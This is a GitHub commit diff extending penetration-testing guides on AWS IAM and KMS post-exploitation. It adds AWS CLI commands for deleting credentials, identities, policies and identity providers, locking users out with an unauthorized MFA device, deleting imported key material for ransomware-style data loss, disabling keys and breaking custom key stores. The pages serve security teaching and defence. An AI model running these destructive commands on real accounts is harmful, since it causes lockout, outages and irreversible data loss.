Skip to content

Commit 29e379d

Browse files
JaimePolopJaimePolop
committed
IAM and KMS Post Exploitation extended
1 parent 83663e4 commit 29e379d

File tree

2 files changed

+161
-0
lines changed

2 files changed

+161
-0
lines changed

‎src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md‎

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -96,6 +96,91 @@ If an S3 bucket is given as a principal, because S3 buckets do not have an Accou
9696

9797
A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources).
9898

99+
### Credential Deletion
100+
With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — an actor can remove access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates or CloudFront public keys, or disassociate roles from instance profiles. Such actions can immediately block legitimate users and applications and cause denial-of-service or loss of access for systems that depend on those credentials, so these IAM permissions must be tightly restricted and monitored.
101+
102+
```bash
103+
# Remove Access Key of a user
104+
aws iam delete-access-key \
105+
--user-name <Username> \
106+
--access-key-id AKIAIOSFODNN7EXAMPLE
107+
108+
## Remove ssh key of a user
109+
aws iam delete-ssh-public-key \
110+
--user-name <Username> \
111+
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
112+
```
113+
114+
### Identity Deletion
115+
With permissions like `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, or `iam:RemoveUserFromGroup`, an actor can delete users, roles, or groups—or change group membership—removing identities and associated traces. This can immediately break access for people and services that depend on those identities, causing denial-of-service or loss of access, so these IAM actions must be tightly restricted and monitored.
116+
117+
```bash
118+
# Delete a user
119+
aws iam delete-user \
120+
--user-name <Username>
121+
122+
# Delete a group
123+
aws iam delete-group \
124+
--group-name <Username>
125+
126+
# Delete a role
127+
aws iam delete-role \
128+
--role-name <Role>
129+
```
130+
131+
###
132+
With any of the following permissions — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — an actor can delete or detach managed/inline policies, remove policy versions or permissions boundaries, and unlink policies from users, groups, or roles. This destroys authorizations and can alter the permissions model, causing immediate loss of access or denial-of-service for principals that depended on those policies, so these IAM actions must be tightly restricted and monitored.
133+
134+
```bash
135+
# Delete a group policy
136+
aws iam delete-group-policy \
137+
--group-name <GroupName> \
138+
--policy-name <PolicyName>
139+
140+
# Delete a role policy
141+
aws iam delete-role-policy \
142+
--role-name <RoleName> \
143+
--policy-name <PolicyName>
144+
```
145+
146+
### Federated Identity Deletion
147+
With `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, an actor can delete OIDC/SAML identity providers or remove client IDs. This breaks federated authentication, preventing token validation and immediately denying access to users and services that rely on SSO until the IdP or configurations are restored.
148+
149+
```bash
150+
# Delete OIDCP provider
151+
aws iam delete-open-id-connect-provider \
152+
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
153+
154+
# Delete SAML provider
155+
aws iam delete-saml-provider \
156+
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
157+
```
158+
159+
### Illegitimate MFA Activation
160+
With `iam:EnableMFADevice`, an actor can register an MFA device on a user’s identity, preventing the legitimate user from signing in. Once an unauthorized MFA is enabled the user can be locked out until the device is removed or reset (note: if multiple MFA devices are registered, sign-in requires only one, so this attack will have no effect on denying access).
161+
162+
```bash
163+
aws iam enable-mfa-device \
164+
--user-name <Username> \
165+
--serial-number arn:aws:iam::111122223333:mfa/alice \
166+
--authentication-code1 123456 \
167+
--authentication-code2 789012
168+
```
169+
170+
### Certificate/Key Metadata Tampering
171+
With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, an actor can change status or metadata of public keys and certificates. By marking keys/certificates inactive or altering references, they can break SSH authentication, invalidate X.509/TLS validations, and immediately disrupt services that depend on those credentials, causing loss of access or availability.
172+
173+
```bash
174+
aws iam update-ssh-public-key \
175+
--user-name <Username> \
176+
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
177+
--status Inactive
178+
179+
aws iam update-server-certificate \
180+
--server-certificate-name <Certificate_Name> \
181+
--new-path /prod/
182+
```
183+
99184
## References
100185

101186
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)

‎src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md‎

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -113,6 +113,14 @@ There is another way to perform a global KMS Ransomware, which would involve the
113113
- **Delete the KMS key**
114114
- Now only the attacker, who has the original key material could be able to decrypt the encrypted data
115115

116+
#### Ransomware via kms:DeleteImportedKeyMaterial
117+
With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with Origin=EXTERNAL, making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.
118+
119+
```bash
120+
aws kms delete-imported-key-material --key-id <Key_ID>
121+
```
122+
123+
116124
### Destroy keys
117125

118126
```bash
@@ -128,6 +136,74 @@ aws kms schedule-key-deletion \
128136
> [!CAUTION]
129137
> Note that AWS now **prevents the previous actions from being performed from a cross account:**
130138
139+
### Change or delete Alias
140+
This attack deletes or redirects AWS KMS aliases, breaking key resolution and causing immediate failures in any services that rely on those aliases, resulting in a denial-of-service. With permissions like `kms:DeleteAlias` or `kms:UpdateAlias` an attacker can remove or repoint aliases and disrupt cryptographic operations (e.g., encrypt, describe). Any service that references the alias instead of the key ID may fail until the alias is restored or correctly remapped.
141+
142+
```bash
143+
# Delete Alias
144+
aws kms delete-alias --alias-name alias/<key_alias>
145+
146+
# Update Alias
147+
aws kms update-alias \
148+
--alias-name alias/<key_alias> \
149+
--target-key-id <new_target_key>
150+
```
151+
152+
### Cancel Key Deletion
153+
With permissions like `kms:CancelKeyDeletion` and `kms:EnableKey`, an actor can cancel a scheduled deletion of an AWS KMS customer master key and later re-enable it. Doing so recovers the key (initially in Disabled state) and restores its ability to decrypt previously protected data, enabling exfiltration.
154+
155+
```bash
156+
# Firts cancel de deletion
157+
aws kms cancel-key-deletion \
158+
--key-id <Key_ID>
159+
160+
## Second enable the key
161+
aws kms enable-key \
162+
--key-id <Key_ID>
163+
```
164+
165+
### Disable Key
166+
With the `kms:DisableKey` permission, an actor can disable an AWS KMS customer master key, preventing it from being used for encryption or decryption. This breaks access for any services that depend on that CMK and can cause immediate disruptions or a denial-of-service until the key is re-enabled.
167+
168+
```bash
169+
aws kms disable-key \
170+
--key-id <key_id>
171+
```
172+
173+
### Derive Shared Secret
174+
With the `kms:DeriveSharedSecret` permission, an actor can use a KMS-held private key plus a user-supplied public key to compute an ECDH shared secret.
175+
176+
```bash
177+
aws kms derive-shared-secret \
178+
--key-id <key_id> \
179+
--public-key fileb:///<route_to_public_key> \
180+
--key-agreement-algorithm <algorithm>
181+
```
182+
183+
### Impersonation via kms:Sign
184+
With the `kms:Sign` permission, an actor can use a KMS-stored CMK to cryptographically sign data without exposing the private key, producing valid signatures that can enable impersonation or authorize malicious actions.
185+
186+
```bash
187+
aws kms sign \
188+
--key-id <key-id> \
189+
--message fileb://<ruta-al-archivo> \
190+
--signing-algorithm <algoritmo> \
191+
--message-type RAW
192+
```
193+
194+
### DoS with Custom Key Stores
195+
With permissions like `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, or `kms:UpdateCustomKeyStore`, an actor can modify, disconnect, or delete an AWS KMS Custom Key Store (CKS), making its master keys inoperable. That breaks encryption, decryption, and signing operations for any services that rely on those keys and can cause an immediate denial-of-service. Restricting and monitoring those permissions is therefore critical.
196+
197+
```bash
198+
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
199+
200+
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
201+
202+
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
203+
```
204+
205+
206+
131207
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
132208

133209
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)